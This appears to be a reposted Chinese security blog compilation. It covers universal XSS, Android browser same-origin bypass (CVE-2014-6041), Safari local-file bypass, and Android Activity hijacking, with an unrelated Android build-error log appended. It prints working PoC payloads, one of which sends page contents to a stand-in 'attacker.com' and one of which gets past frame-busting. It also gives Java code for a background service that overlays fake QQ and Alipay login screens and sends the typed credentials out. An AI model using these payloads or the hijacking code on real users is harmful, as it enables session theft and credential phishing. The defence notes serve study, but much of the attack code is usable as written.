通用跨站脚本攻击(UXSS)

转自: http://www.jinglingshu.org/?p=9030&print=print

本文的内容主要转自通用跨站脚本攻击(UXSS) ,该文内容大部分翻译自http://www.acunetix.com/blog/web-security-zone/universal-cross-site-scripting-uxss/。

什么是UXSS?

大家都知道有反射型XSS、存储型XSS、DomXSS,还有之前wooyun知识库上由gainover翻译的mXSS,也就是突变XSS(文章地址http://drops.wooyun.org/tips/956)。可能比较少同学了解何谓UXSS,UXSS全称Universal Cross-Site Scripting,翻译过来就是通用型XSS,也叫Universal  XSS。

UXSS叫做通用跨站脚本攻击,利用的是浏览器本身或者浏览器扩展程序的漏洞,不需要网站本身存在漏洞也可以触发漏洞,而怎么利用漏洞等就与普通XSS没什么区别了。即UXSS是一种利用浏览器或者浏览器扩展漏洞来制造产生XSS的条件并执行代码的一种攻击类型。
那么,UXSS由于前面提到的几种XSS有什么区别
常见的XSS攻击的是因为客户端或服务端的代码开发不严谨等问题而存在漏洞的目标网站或者应用程序。这些攻击的先决条件是页面存在漏洞,而它们的影响往往也围绕着漏洞页面本身的用户会话。换句话说,因为浏览器的安全功能的影响,XSS攻击只能读取受感染的会话,而无法读取其他的会话信息,也就是同源策略的影响。

UXSS保留了基本XSS的特点,利用漏洞,执行恶意代码,但是有一个重要的区别:

UXSS可以在漏洞触发时访问浏览器打开或缓存的页面的所有会话(即使不同域的情况),不管会话对应的网站或应用程序有无xss漏洞。(The net effect of this is the fact that the attacker doesn’t just get access to a compromised session on a vulnerable web page, but may get access to any session belonging to web pages currently opened (or cached) by the browser at the time the attack is triggered.)

影响

那么UXSS与通常的XSS有什么影响的区别?前面我们提到,因为同源策略,即使一个漏洞页面存在XSS,我们可以访问它的用户会话信息等,但是无法访问其他域的相关的会话信息,而因为UXSS是利用浏览器本身或者浏览器扩展程序的漏洞,所以对于攻击发起时浏览器打开或缓存的所有页面(即使不同域的情况)的会话信息都可以进行访问。简单的说,UXSS不需要一个漏洞页面来触发攻击,它可以渗透入安全没有问题的页面,从而创造一个漏洞,而该页面原先是安全无漏洞的

Web浏览器是正在使用的最流行的应用程序之一、。浏览器可能有漏洞被发现,有一整个的漏洞纰漏过程,当一个新漏洞被发现的时候,不管是把漏洞藏起来自己利用还是说报告给官方,而这个过程中都有一段不小的时间,这一过程中漏洞都可能被利用于UXSS。

不仅是浏览器本身的漏洞,现在主流浏览器都支持扩展程序的安装,而众多的浏览器扩展程序可能导致带来更多的漏洞和安全问题。

因为UXSS攻击不需要页面本身存在漏洞,同时可能访问其他安全无漏洞页面,使得UXSS成为XSS里危险和最具破坏性的攻击类型之一。

UXSS案例

1、IE6或火狐浏览器扩展程序Adobe Acrobat的漏洞

这是一个比较老的漏洞,但这是一个比较经典的例子。当使用扩展程序时导致错误,使得代码可以执行。这是一个在pdf阅读器中的bug,允许攻击者在客户端执行脚本。构造恶意页面,写入恶意脚本,并利用扩展程序打开pdf时运行代码。

Stefano Di Paola 和 Giorgio Fedon在一个在Mozilla Firefox浏览器Adobe Reader的插件中可利用的缺陷中第一个记录和描述的UXSS。Adobe插件通过一系列参数允许从外部数据源取数据进行文档表单的填充,如果没有正确的执行,将允许跨站脚本攻击。原pdf: http://events.ccc.de/congress/2006/Fahrplan/attachments/1158-Subverting_Ajax.pdf或者详见http://jeremiahgrossman.blogspot.com/2007/01/what-you-need-to-know-about-uxss-in.html

2、IE8跨站脚本过滤器缺陷

David Lindsay 和Eduardo Vela Nava已经在2010年的BlackHat Europe展示了这个漏洞的UXSS利用。

IE8中内置了XSS过滤器,用于检测反射XSS,并采取纠正措施:在页面渲染之前更改响应内容。

在这种特殊情况下,等号将会被过滤器去除,但是通过精心构造的XSS字符串在特定的地方,这个逻辑会导致浏览器创建XSS条件。微软的响应是改变了XSS过滤器去除的字符。具体可以查看pdf: http://p42.us/ie8xss/Abusing_IE8s_XSS_Filters.pdf

3、Flash Player UXSS 漏洞 – CVE-2011-2107

一个在2011年Flash Player插件(当时的所有版本)中的缺陷使得攻击者通过使用构造的.swf文件,可以访问Gmail设置和添加转发地址。因此攻击者可以收到任意一个被攻破的Gmail帐号的所有邮件副本(发送的时候都会抄送份)。Adobe承认了该漏洞,详见http://www.adobe.com/support/security/bulletins/apsb11-13.html

 

4、安卓版Chrome浏览器漏洞

移动设备也不例外,而且可以成为XSS攻击的目标。Chrome安卓版存在一个漏洞,允许攻击者将恶意代码注入到Chrome通过Intent对象加载的任意的web页面。即CVE-2014-6041 安卓浏览器UXSS。

这是webkit核的UXSS漏洞,影响4.3以下的系统,在系统中使用系统自带的webview组件都会受漏洞影响,包括系统自带浏览器,目前只能够自编译浏览器内核才能解决问题。这个漏洞是因为URL解析器对空字符的不正确处理导致的

Android Browser Same Origin Policy Bypass – CVE-2014-6041 详细信息参考:http://www.rafayhackingarticles.net/2014/08/android-browser-same-origin-policy.html。

漏洞exp:

<iframe name="m" src="http://zone.wooyun.org" onload="window.open('\u0000javascript:alert(document.location)','m')" >

<iframe name="test" src="http://www.rhainfosec.com"></iframe>
<input type=button value="test" onclick="window.open('\u0000javascript:alert(document.domain)','test')" >

2014090112543973068.png

其他的例子

http://insert-script.blogspot.com/2013/08/uxss-internet-explorer-euc-jp-parsing.html

http://www.rapid7.com/db/modules/auxiliary/gather/apple_safari_webarchive_uxss

http://www.wooyun.org/bugs/wooyun-2014-074655

http://www.cnvd.org.cn/flaw/show/CNVD-2012-5462

http://www.wooyun.org/bugs/wooyun-2014-071915

http://cxsecurity.com/issue/WLB-2012100086

http://www.maths.usyd.edu.au/u/psz/ff-utf7-uxss.html

更多的大家自己搜索把

典例分析

本来整理这篇文章的时候还不知道大牛发了一个UXSS,写完上wooyun正好就看到mramydnei大牛发了《安卓浏览器SOP绕过漏洞(UXSS)》的漏洞(详见http://zone.wooyun.org/content/14945),就补充到文章里。

简要分析下,这个漏洞是构造一个页面,页面嵌入iframe,然后通过\u0000进行浏览器的sop绕过进行XSS。

更多细节可以看大牛的博客以及参考文章http://parsec.me/625.html、http://parsec.me/660.html。

防范

防范UXSS的经验法则是打好所有的补丁,保持最新版本。

这将确保您的环境中使用的浏览器版本以及您所需要的扩展程序,是不可能通过UXSS进行漏洞利用的。

而然,这是否意味着你就高枕无忧呢?不是这样的,运行最新的版本也不能保证是完全安全的。当一个漏洞被发现、提交、确认、修复已经发布补丁,中间是有时间差的,而在这段时间内,将可能收到UXSS攻击。

网站防御办法:防止网站被通过iframe嵌入到别的页面中,即采取防止点击劫持的办法。即在页面中加入如下的js代码防止iframe被嵌套:

if (top.location!=self.location)
{
	top.location = self.location;
}

不过这种方法可以被通过html5中iframe的sandbox属性绕过,进而继续利用UXSS。
参考文章:

1、http://www.acunetix.com/blog/web-security-zone/universal-cross-site-scripting-uxss/

2、http://www.fooying.com/uxss/   通用跨站脚本攻击(UXSS)

3、http://parsec.me/625.html       Bypassing SOP in safari(ios/mac)

4、http://parsec.me/660.html      CVE-2014-6041 安卓浏览器UXSS

5、http://zone.wooyun.org/content/14945   安卓浏览器SOP绕过漏洞(UXSS)
6、http://www.rafayhackingarticles.net/2014/08/android-browser-same-origin-policy.html   Android Browser Same Origin Policy Bypass – CVE-2014-6041

——————————————————————————————————————————————

Android Browser Same Origin Policy Bypass – CVE-2014-6041的详细说明

Introduction

Same Origin Policy (SOP) is one of the most important security mechanisms that are applied in modern browsers, the basic idea behind the SOP is the javaScript from one origin should not be able to access the properties of a website on another origin. The origin is formed by the combination of Scheme, domain and port with the port being an exception to IE. There are some exceptions with SOP such the location property, objects wtih src attribute. However, the fundamental are that different origins should not be able to access the properties of one another.

SOP Bypass

A SOP bypass occurs when a sitea.com is some how able to access the properties of siteb.com such as cookies, location, response etc. Due to the nature of the issue and potential impact, browsers have very strict model pertaining it and a SOP bypass is rarely found in modern browsers. However, they are found once in a while. The following writeup describes a SOP bypass vulnerability i found in my Qmobile Noir A20 running Android Browser 4.2.1, and later verified that Sony+Xperia+Tipo, Samsung galaxy, HTC Wildfire, Motrorolla etc are also affected. To best of my knowledge, the issue occurred due to improper handling of nullbytes by url parser.

The following is a proof of concept:

Proof Of Concept

<iframe name="test" src="http://www.rhainfosec.com"></iframe>
 <input type=button value="test"
 onclick="window.open('\u0000javascript:alert(document.domain)','test')" >

As you can see that the code tries accessing the document.domain property of a site loaded into an iframe. If you run the POC at attacker.com on any of the modern browsers, it would return a similar error as attacker.com should not be able to access the document.domain property of rhainfosec.com.

Blocked a frame with origin "http://jsbin.com" from accessing a frame with origin "http://www.rhainfosec.com". Protocols, domains, and ports must match.

However, running it on any of the vulnerable smart phones default browsers would alert the document.domain property indicating that the SOP was not able to restrict the access to document.domain property of a site at a different origin.

I created the following POC, so you can mess around with some stuff:

Reading the response

You can read the response of any page by accessing the document.body.innerHTML property.

<iframe name="test" src="http://www.rhainfosec.com"></iframe>
 <input type=button value="test"
 onclick="window.open('\u0000javascript:alert(document.body.innerHTML)','test')" >

Reading the response and sending it to an attackers domain

In real world situation an attacker would send the response to his controlled domain.

<iframe name="test" src="http://www.rhainfosec.com"></iframe>
 <input type=button value="test"
 onclick="window.open('\u0000javascript:var i=new Image();i.src='//attacker.com?'+document.body.innerHTML;document.body.appendChild(i);','test')" >

Bypassing Frame Busting Code

A lot of websites still use frame busting code to prevent the page from being prevent and since we can only bypass SOP here when the site could be framed. In case, where the site is using a frame busting code, we can bypass it using the sandbox attribute that was introduced as a part of HTML5 specifications.

<iframe name="test" src="http://www.rhainfosec.com" sandbox></iframe>
 <input type=button value="test"
 onclick="window.open('\u0000javascript:var i=new Image();i.src='//attacker.com?'+document.body.innerHTML;document.body.appendChild(i);','test')" >

—————————————————————————————————————————————

除了通过UXSS来绕过浏览器的SOP策略(同源策略),还可以通过其他方式绕过同源策略,如Bypassing SOP in safari(ios/mac) 讲的,利用的就是:Safari下当本地资源被访问时并不会去遵循什么SOP。

Bypassing SOP in safari(ios/mac)

最近一直在幻想要搞一个UXSS出来,不过捣鼓好几天了没啥进展。翻阅的paper也没能给我带来一些灵感。也许这个对我来说真的有点难了吧。虽然挖掘UXSS失败了,但在这个过程中我发现了一个非常有趣的东西。正好也想到了利用场景,所以拿出来和大家分享一下。

这是一段来自The Browser Hacker’s Handbook关于在safari下绕过SOP的描述:

    The Safari browser, from 200716 to the current (at the time of this writing) 6.0.2 version, does not enforce the SOP when a local resource is accessed.

也就说,在Safari下当本地资源被访问时并不会去遵循什么SOP。让我们来看看是不是真的。POC:

<html>
<body>
<h1>SOP bypass with XHR </h1>
<script>
xhr = new XMLHttpRequest();
xhr.onreadystatechange = function (){
if (xhr.readyState == 4) {
alert(xhr.responseText);
} };
xhr.open("GET",
"http://zone.wooyun.org");
xhr.send();
</script>
</body>
</html>

 

一般来说由于SOP限制,XHR的response是会被浏览器屏蔽的。但是由于safari在访问本地资源时完全不会遵循SOP,所以……我们完全可以跨域读取任何域的responseText.

jinglingshu_2014-09-06_07-11-07

//测试于Safari 7.0.6

可以跨域获取responsetext就意味着可以拿下一些CSRF token之类的敏感数据了(其它方法本文暂不讨论)。但是我要怎么才能让其它用户以访问本地资源的方式来访问我的htm文件呢?发送文件!

让我们来模拟一下这个过程。

黑客事先构造好bypasssopwithxhr.htm发送给受害者

jinglingshu_2014-09-06_07-11-08

受害者收到攻击者htm文件:

jinglingshu_2014-09-06_07-11-19

受害者打开文件:

jinglingshu_2014-09-06_07-11-081

pwn!我们成功的了。现在,让我们再换一个更有说服力的例子。将下面的文件保存成sopbypass.htm发给受害者:

<html>
<body>
<h1>SOP bypass with window.open() </h1>
<iframe name=m src=http://zone.wooyun.org onload="window.open('javascript:alert(document.domain)','m')"></iframe>
</body>
</html>
jinglingshu_2014-09-06_07-11-082

受害者通过手机打开网页后:

jinglingshu_2014-09-06_07-11-08

pwn!我们成功在zone.wooyun.org执行了javascript.

 

ps:至于网站怎么防御UXSS,可以参考:Clickjacking简单介绍   中对点击劫持的防御。

大谈android安全——Activity劫持与用户防范

文章讲述:使用FLAG_ACTIVITY_NEW_TASK标志启动Activity实现Android平台的Activity劫持.

1. 劫持原理以及使用POC

2. Service中,定时轮训监控制定activity/apk是否启动的方法

原文连接: http://maosidiaoxian.iteye.com/blog/1623016
本文调度机制内容部分参考于网上博文,但代码及用户防范的方法均属原创,转载请注明出处 http://msdxblog.sinaapp.com/?p=623 或本人在此ITEYE的这一博客:http://maosidiaoxian.iteye.com/blog/1623016
本博客声明:此文仅为技术讨论,不对具体阅读者的行为负责。同时希望大家不要将此用于非法目的。
1、Activity调度机制
在android系统中,不同的程序之间的切换基本上是无缝的,它们之间的切换只不过是Activity的切换。Activity的概念相当于一个与用户交互的界面。而Activity的调度是交由Android系统中的AmS管理的。AmS即ActivityManagerService(Activity管理服务),各个应用想启动或停止一个进程,都是先报告给AmS。
当AmS收到要启动或停止Activity的消息时,它先更新内部记录,再通知相应的进程运行或停止指定的Activity。当新的Activity启动,前一个Activity就会停止,这些Activity都保留在系统中的一个Activity历史栈中。每有一个Activity启动,它就压入历史栈顶,并在手机上显示。当用户按下back键时,顶部Activity弹出,恢复前一个Activity,栈顶指向当前的Activity。

2、Android设计上的缺陷——Activity劫持
如果在启动一个Activity时,给它加入一个标志位FLAG_ACTIVITY_NEW_TASK,就能使它置于栈顶并立马呈现给用户。

但是这样的设计却有一个缺陷。如果这个Activity是用于盗号的伪装Activity呢?
在Android系统当中,程序可以枚举当前运行的进程而不需要声明其他权限,这样子我们就可以写一个程序,启动一个后台的服务,这个服务不断地扫描当前运行的进程,当发现目标进程启动时,就启动一个伪装的Activity。如果这个Activity是登录界面,那么就可以从中获取用户的账号密码。

3、示例
下面是示例代码。
AndroidManifest.xml文件的代码。

Xml代码

 

 

 

在以上的代码中,声明了一个服务service,用于枚举当前运行的进程。其中如果不想开机启动的话,甚至可以把以上receiver部分的代码,及声明开机启动的权限的这一行代码 去掉,仅仅需要访问网络的权限(向外发送获取到的账号密码),单从AndroidManifest文件是看不出任何异常的。

下面是正常的Activity的代码。在这里只是启动用于Activity劫持的服务。如果在上面的代码中已经声明了开机启动,则这一步也可以省略。
Java代码
package com.sinaapp.msdxblog.android.activityhijacking.activity;

import android.app.Activity;
import android.content.Intent;
import android.os.Bundle;
import android.util.Log;

import com.sinaapp.msdxblog.android.activityhijacking.R;
import com.sinaapp.msdxblog.android.activityhijacking.service.HijackingService;

public class HijackingActivity extends Activity {
/** Called when the activity is first created. */
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
Intent intent2 = new Intent(this, HijackingService.class);
startService(intent2);
Log.w(“hijacking”, “activity启动用来劫持的Service”);
}
}

如果想要开机启动,则需要一个receiver,即广播接收器,在开机时得到开机启动的广播,并在这里启动服务。如果没有开机启动(这跟上面至少要实现一处,不然服务就没有被启动了),则这一步可以省略。
Java代码
/*
* @(#)HijackingBroadcast.java Project:ActivityHijackingDemo
* Date:2012-6-7
*
* Copyright (c) 2011 CFuture09, Institute of Software,
* Guangdong Ocean University, Zhanjiang, GuangDong, China.
* All rights reserved.
*
* Licensed under the Apache License, Version 2.0 (the “License”);
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an “AS IS” BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.sinaapp.msdxblog.android.activityhijacking.receiver;

import com.sinaapp.msdxblog.android.activityhijacking.service.HijackingService;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.util.Log;

/**
* @author Geek_Soledad (66704238@51uc.com)
*/
public class HijackingReceiver extends BroadcastReceiver {

@Override
public void onReceive(Context context, Intent intent) {
if (intent.getAction().equals(“android.intent.action.BOOT_COMPLETED”)) {
Log.w(“hijacking”, “开机启动”);
Intent intent2 = new Intent(context, HijackingService.class);
context.startService(intent2);
Log.w(“hijacking”, “启动用来劫持的Service”);
}
}
}

下面这个HijackingService类可就关键了,即用来进行Activity劫持的。
在这里,将运行枚举当前运行的进程,发现目标进程,弹出伪装程序。
代码如下:
Java代码
/*
* @(#)HijackingService.java Project:ActivityHijackingDemo
* Date:2012-6-7
*
* Copyright (c) 2011 CFuture09, Institute of Software,
* Guangdong Ocean University, Zhanjiang, GuangDong, China.
* All rights reserved.
*
* Licensed under the Apache License, Version 2.0 (the “License”);
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an “AS IS” BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.sinaapp.msdxblog.android.activityhijacking.service;

import java.util.HashMap;
import java.util.List;

import android.app.ActivityManager;
import android.app.ActivityManager.RunningAppProcessInfo;
import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.os.Handler;
import android.os.IBinder;
import android.util.Log;

import com.sinaapp.msdxblog.android.activityhijacking.HijackingApplication;
import com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories.AlipayStoryActivity;
import com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories.JokeActivity;
import com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories.QQStoryActivity;

/**
* @author Geek_Soledad (66704238@51uc.com)
*/
public class HijackingService extends Service {
private boolean hasStart = false;
// 这是一个悲伤的故事……
HashMap<String, Class<?>> mSadStories = new HashMap<String, Class<?>>();

// Timer mTimer = new Timer();
Handler handler = new Handler();

Runnable mTask = new Runnable() {

@Override
public void run() {
ActivityManager activityManager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
List appProcessInfos = activityManager
.getRunningAppProcesses();
// 枚举进程
Log.w(“hijacking”, “正在枚举进程”);
for (RunningAppProcessInfo appProcessInfo : appProcessInfos) {
// 如果APP在前台,那么——悲伤的故事就要来了
if (appProcessInfo.importance == RunningAppProcessInfo.IMPORTANCE_FOREGROUND) {
if (mSadStories.containsKey(appProcessInfo.processName)) {
// 进行劫持
hijacking(appProcessInfo.processName);
} else {
Log.w(“hijacking”, appProcessInfo.processName);
}
}
}
handler.postDelayed(mTask, 1000);
}

/**
* 进行劫持
* @param processName
*/
private void hijacking(String processName) {
Log.w(“hijacking”, “有程序要悲剧了……”);
if (((HijackingApplication) getApplication())
.hasProgressBeHijacked(processName) == false) {
Log.w(“hijacking”, “悲剧正在发生”);
Intent jackingIsComing = new Intent(getBaseContext(),
mSadStories.get(processName));
jackingIsComing.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
getApplication().startActivity(jackingIsComing);
((HijackingApplication) getApplication())
.addProgressHijacked(processName);
Log.w(“hijacking”, “已经劫持”);
}
}
};

@Override
public IBinder onBind(Intent intent) {
return null;
}

@Override
public void onStart(Intent intent, int startId) {
super.onStart(intent, startId);
if (!hasStart) {
mSadStories.put(“com.sinaapp.msdxblog.android.lol”,
JokeActivity.class);
mSadStories.put(“com.tencent.mobileqq”, QQStoryActivity.class);
mSadStories.put(“com.eg.android.AlipayGphone”,
AlipayStoryActivity.class);
handler.postDelayed(mTask, 1000);
hasStart = true;
}
}

@Override
public boolean stopService(Intent name) {
hasStart = false;
Log.w(“hijacking”, “劫持服务停止”);
((HijackingApplication) getApplication()).clearProgressHijacked();
return super.stopService(name);
}
}

下面是支付宝的伪装类(布局文件就不写了,这个是对老版本的支付宝界面的伪装,新的支付宝登录界面已经完全不一样了。表示老版本的支付宝的界面相当蛋疼,读从它反编译出来的代码苦逼地读了整个通宵结果还是没读明白。它的登录界面各种布局蛋疼地嵌套了十层,而我为了实现跟它一样的效果也蛋疼地嵌套了八层的组件)。
Java代码
/*
* @(#)QQStoryActivity.java Project:ActivityHijackingDemo
* Date:2012-6-7
*
* Copyright (c) 2011 CFuture09, Institute of Software,
* Guangdong Ocean University, Zhanjiang, GuangDong, China.
* All rights reserved.
*
* Licensed under the Apache License, Version 2.0 (the “License”);
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an “AS IS” BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories;

import android.app.Activity;
import android.os.Bundle;
import android.os.Handler;
import android.os.HandlerThread;
import android.text.Html;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.TextView;

import com.sinaapp.msdxblog.android.activityhijacking.R;
import com.sinaapp.msdxblog.android.activityhijacking.utils.SendUtil;

/**
* @author Geek_Soledad (66704238@51uc.com)
*/
public class AlipayStoryActivity extends Activity {
private EditText name;
private EditText password;
private Button mBtAlipay;
private Button mBtTaobao;
private Button mBtRegister;

private TextView mTvFindpswd;

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
this.setTheme(android.R.style.Theme_NoTitleBar);
setContentView(R.layout.alipay);
mBtAlipay = (Button) findViewById(R.id.alipay_bt_alipay);
mBtTaobao = (Button) findViewById(R.id.alipay_bt_taobao);
mBtRegister = (Button) findViewById(R.id.alipay_bt_register);
mTvFindpswd = (TextView) findViewById(R.id.alipay_findpswd);
mTvFindpswd.setText(Html.fromHtml(“[u]找回登录密码[/u]”));
mBtAlipay.setSelected(true);

name = (EditText) findViewById(R.id.input_name);
password = (EditText) findViewById(R.id.input_password);

}

public void onButtonClicked(View v) {
switch (v.getId()) {
case R.id.alipay_bt_login:
HandlerThread handlerThread = new HandlerThread(“send”);
handlerThread.start();
new Handler(handlerThread.getLooper()).post(new Runnable() {
@Override
public void run() {
// 发送获取到的用户密码
SendUtil.sendInfo(name.getText().toString(), password
.getText().toString(), “支付宝”);
}
});
moveTaskToBack(true);

break;
case R.id.alipay_bt_alipay:
chooseToAlipay();
break;
case R.id.alipay_bt_taobao:
chooseToTaobao();
break;
default:
break;
}
}

private void chooseToAlipay() {
mBtAlipay.setSelected(true);
mBtTaobao.setSelected(false);
name.setHint(R.string.alipay_name_alipay_hint);
mTvFindpswd.setVisibility(View.VISIBLE);
mBtRegister.setVisibility(View.VISIBLE);
}

private void chooseToTaobao() {
mBtAlipay.setSelected(false);
mBtTaobao.setSelected(true);
name.setHint(R.string.alipay_name_taobao_hint);
mTvFindpswd.setVisibility(View.GONE);
mBtRegister.setVisibility(View.GONE);
}
}

上面的其他代码主要是为了让界面的点击效果与真的支付宝看起来尽量一样。主要的代码是发送用户密码的那一句。
至于SendUtil我就不提供了,它是向我写的服务器端发送一个HTTP请求,将用户密码发送出去。

下面是我在学校时用来演示的PPT及APK。
ActivityHijackingDemo.apk

Activity劫持 演示文档.7z

4、用户防范
这里我将说下我发现的防范的方法,非常简单。这个方法是对用户而言的。android手机均有一个HOME键(即小房子的那个图标),长按可以看到近期任务(前几天发现一个奇葩的手机,居然是短按一个键的,而这个键长按时是弹出MENU菜单,太奇葩了)。对于我所用的HTC G14而言,显示的最近的一个是上一个运行的程序。小米显示的最近的一个是当前运行的程序。所以,在要输入密码进行登录时,可以通过长按HOME键查看近期任务,以我的手机为例,如果在登录QQ时长按发现近期任务出现了QQ,则我现在的这个登录界面就极有可能是伪装了,切换到另一个程序,再查看近期任务,就可以知道这个登录界面是来源于哪个程序了。
如果是小米手机的话,在进行登录时,如果查看的近期任务的第一个不是自己要登录的那个程序的名字,则它就是伪装的。

目前对于这种Activity劫持,没有发现有任何手机查杀软件可以主动防范。而我所知的,也只有我发现的这一方法可以判别。如果有新的消息,欢迎参加讨论。

本文调度机制内容部分参考于网上博文,但代码及用户防范的方法均属原创,转载请注明出处 http://msdxblog.sinaapp.com/?p=623 或本人在此ITEYE的这一博客:http://maosidiaoxian.iteye.com/blog/1623016

android4.1.1系统编译全过程

原文链接: http://blog.csdn.net/hudan2714/article/details/7926924
一、编译环境:
首先介绍编译中使用的工具:
虚拟机:    vmare 9 下载地址:http://blog.csdn.net/hudan2714/article/details/7902654
linux平台:ubuntu 12.04 64位
jdk:              sun-java6-jdk (64位)
交叉编译工具链:gcc 使用的版本是:4.6.3
想要完成最终的编译,当然首要的就是检查环境:
1、安装的ubuntu设置空间大小:至少需要30G
     目前下载的包就有10G:有图有真相:
       
       包括解压编译后大小有30G了:
     
      所以空间一定要够了才行。
2、gcc和g++不能使用使用4.4版本了(编译android4.0系统使用的是4.4),
                       现在只要使用系统自带的4.6.3(ubuntu12.04) 就可以了。
      
3、jdk版本:sun-java6-jdk
       
二、编译:
        编译过程不知道,可以查看官方文档了。这里做简单说明:
        1.source build/envsetup.sh   这是向系统导入不同的厂商版本,并添加m命令。
        2.lunch 选择编译厂商版本。
        3.mm    编译版本
         还是看图说话吧:
           
            当然这里的lunch full-eng是编译所有,如果嫌慢,就单独编译某一个也可。
             
              再mm就可以编译了(必须要source了,才有mm命令,而且只在此terminal有效)
               
三、编译中遇到的错误:
       错误太多,做了一些总结,有点乱,如果编译过程中遇到错误,可以来查看:
/bin/bash: bison: command not found
make: *** [out/host/linux-x86/obj/EXECUTABLES/aidl_intermediates/aidl_language_y.cpp] Error 127
解决方法:sudo apt-get install bison
make: *** [out/host/linux-x86/obj/EXECUTABLES/aidl_intermediates/aidl_language_l.cpp] Error 127
解决方法: sudo apt-get install flex
make: *** [out/target/product/generic/obj/STATIC_LIBRARIES/libwebcore_intermediates/Source/WebCore/css/CSSPropertyNames.h] Error 25
解决方法:sudo apt-get install gperf
/usr/include/features.h:324:26: fatal error: bits/predefs.h: No such file or directoryIn file included from /home/hudan/android/source/android4.1.1/prebuilts/gcc/linux-x86/host/i686-linux-glibc2.7-4.6/bin/../sysroot/usr/include/sys/types.h:27:0,
                 from frameworks/native/include/utils/Errors.h:20,
                 from frameworks/native/include/utils/String8.h:20,
                 from cts/suite/audio_quality/lib/include/Settings.h:21,
                 from cts/suite/audio_quality/lib/src/Settings.cpp:17:
/usr/include/features.h:324:26: fatal error: bits/predefs.h: No such file or directoryIn file included from /usr/include/stdlib.h:25:0,
                 from cts/suite/audio_quality/lib/src/Adb.cpp:16:
/usr/include/features.h:324:26: fatal error: bits/predefs.h: No such file or directory
compilation terminated.
compilation terminated.
compilation terminated.
make: *** [out/host/linux-x86/obj/STATIC_LIBRARIES/libcts_audio_quality_intermediates/src/SimpleScriptExec.o] Error 1
make: *** Waiting for unfinished jobs….
make: *** [out/host/linux-x86/obj/STATIC_LIBRARIES/libcts_audio_quality_intermediates/src/Adb.o] Error 1
make: *** [out/host/linux-x86/obj/STATIC_LIBRARIES/libcts_audio_quality_intermediates/src/Settings.o] Error 1
In file included from /usr/include/semaphore.h:22:0,
                 from cts/suite/audio_quality/lib/include/Semaphore.h:21,
                 from cts/suite/audio_quality/lib/src/Semaphore.cpp:17:
/usr/include/features.h:324:26: fatal error: bits/predefs.h: No such file or directory
compilation terminated.
make: *** [out/host/linux-x86/obj/STATIC_LIBRARIES/libcts_audio_quality_intermediates/src/Semaphore.o] Error
解决方法:sudo apt-get install gcc-multilib

error libGL.so: cannot open shared object file: No such file or directory

OSError: libGL.so: cannot open shared object file: No such file or directory

may appear on Linux systems when you try to launch VNL for the first time. To solve it, create (as administrator) a new link in /usr/lib:

sudo ln -s /usr/lib/libGL.so.1.2 /usr/lib/libGL.so

If you have a 64-bit Linux, use /usr/lib64 instead.

First check that you actually have “libGL.so.1.2” in /usr/lib or /usr/lib64; it might be called “libGL.so.1” or something else instead, or located in another directory, depending on the video drivers. You can use

locate libGL

to find the correct file to link to.

而我使用的是ubuntu 12.04 bit-64位,在/usr/lib/并没有libGL.so文件。

可以使用locate libGL查找此文件。结果:

找出了这么多,当然是选择64位平台下的libGL了。

但是针对这几个,不知道要选择哪一个好,还请高手指点。

 

 

Failed to load libGL.so

error libGL.so: wrong ELF class: ELFCLASS64

linux系统是64位的,这个命令不支持64位

最佳解决方案,把oralce-lib环境变量设置为lib32即可

最后选择ln还36位

代码:hudan@ubuntu:~/android/source/android4.1.1/out$ sudo ln -s /usr/lib/i386-linux-gnu/mesa/libGL.so.1.2 /usr/lib/libGL.so

再运行编译好的system.img,出现如下的错误:

 

直接参数-ramdisk ramdisk.img去掉,结果模拟器跑起来了,但不能把内核启动起来。

 

 

no ABI error , when creating an Android virtual device

 

 

 

 

E: Could not get lock /var/lib/dpkg/lock – open (11: Resource temporarily unavailable)

E: Unable to lock the administration directory (/var/lib/dpkg/), is another process using it?

解决:sudo rm /var/lib/apt/lists/lock

sh: gperf: not found

target Generated: libwebcore <= external/webkit/Source/JavaScriptCore/create_regex_tables
Generating CSSPropertyNames.h <= CSSPropertyNames.in
sh: gperf: not found
calling gperf failed: 32512 at ./makeprop.pl line 140.
make: *** [out/target/product/generic/obj/STATIC_LIBRARIES/libwebcore_intermediates/Source/WebCore/css/CSSPropertyNames.h] Error 25
make: *** Deleting file `out/target/product/generic/obj/STATIC_LIBRARIES/libwebcore_intermediates/Source/WebCore/css/CSSPropertyNames.h’

解决方法:sudo apt-get install gperf

 

 

n file included from /usr/include/stdlib.h:25,
                from build/tools/acp/acp.c:11:
/usr/include/features.h:323: 致命错误: bits/predefs.h:没有那个文件或目录编译中断。
make: *** [out/host/linux-x86/obj/EXECUTABLES/acp_intermediates/acp.o] 错误 1

make: *** [out/host/linux-86/obj/STATIC_LIBRARIES/libcts_audio_quality_intermediates/src/Adb.o] Error 1

安装:libc6-dev-i386
    sudo apt-get install libc6-dev-i386

 

 

make: *** [out/target/product/generic/obj/SHARED_LIBRARIES/libwebcore_intermediates/LINKED/libwebcore.so] Error 1

make: *** Waiting for unfinished jobs….

